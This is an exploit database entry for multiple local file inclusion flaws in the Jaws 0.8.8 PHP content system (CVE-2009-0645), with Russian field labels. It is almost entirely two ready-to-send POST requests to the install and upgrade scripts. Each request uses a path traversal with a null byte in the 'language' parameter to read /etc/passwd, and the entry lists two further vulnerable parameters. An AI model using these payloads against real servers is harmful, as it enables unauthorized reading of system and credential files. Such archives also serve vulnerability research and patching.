Exploit Jaws 0.8.8 - Multiple Local File Inclusions

[Exploiter]

EDB-ID

7976

Проверка EDB

1. Пройдено

Автор

FUZION

Тип уязвимости

WEBAPPS

Платформа

PHP

CVE

cve-2009-0645

Дата публикации

2009-02-04

Jaws 0.8.8 Local File Inclusion

POST /upgrade/index.php
language=../../../../../../../../../../../../etc/passwd%00

POST /install/index.php
language=../../../../../../../../../../../../etc/passwd%00
Also vulnerable:
Introduction_complete
use_log

Author notified: Jan 24

# milw0rm.com [2009-02-04]